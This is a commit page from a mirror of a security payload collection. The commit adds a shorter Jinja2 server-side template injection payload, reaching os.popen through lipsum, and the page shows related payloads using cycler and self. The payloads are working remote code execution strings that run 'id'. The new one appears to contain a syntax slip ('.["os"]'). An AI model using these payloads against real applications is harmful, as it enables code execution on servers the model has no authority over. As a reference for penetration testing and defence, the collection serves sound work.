ch0ic3/PayloadsAllTheThings
1
0
Fork 0
mirror of https://github.com/swisskyrepo/PayloadsAllTheThings.git synced 2024-12-18 18:36:10 +00:00
Code Issues Actions Packages Projects Releases Wiki Activity

Adding Jinja2 RCE through lipsum in Templates

Browse Source
This commit is contained in:
Rémi GASCOU (Podalirius) 2023-05-09 18:34:35 +02:00 committed by GitHub
parent 5af6a23a2e
commit 9c2b040242
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 9 additions and 1 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

10
Server Side Template Injection/README.md
View File

@ -563,7 +563,7 @@ But when `__builtins__` is filtered, the following payloads are context-free, an
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}
```
We can use these shorter payloads (this is the shorter payloads known yet):
We can use these shorter payloads:
```python
{{ cycler.__init__.__globals__.os.popen('id').read() }}
@ -573,6 +573,14 @@ We can use these shorter payloads (this is the shorter payloads known yet):
Source [@podalirius_](https://twitter.com/podalirius_) : https://podalirius.net/en/articles/python-vulnerabilities-code-execution-in-jinja-templates/
With [objectwalker](https://github.com/p0dalirius/objectwalker) we can find a path to the `os` module from `lipsum`. This is the shortest payload known to achieve RCE in a Jinja2 template:
```python
{{ lipsum.__globals__.["os"].popen('id').read() }}
```
Source: https://twitter.com/podalirius_/status/1655970628648697860
#### Exploit the SSTI by calling subprocess.Popen
:warning: the number 396 will vary depending of the application.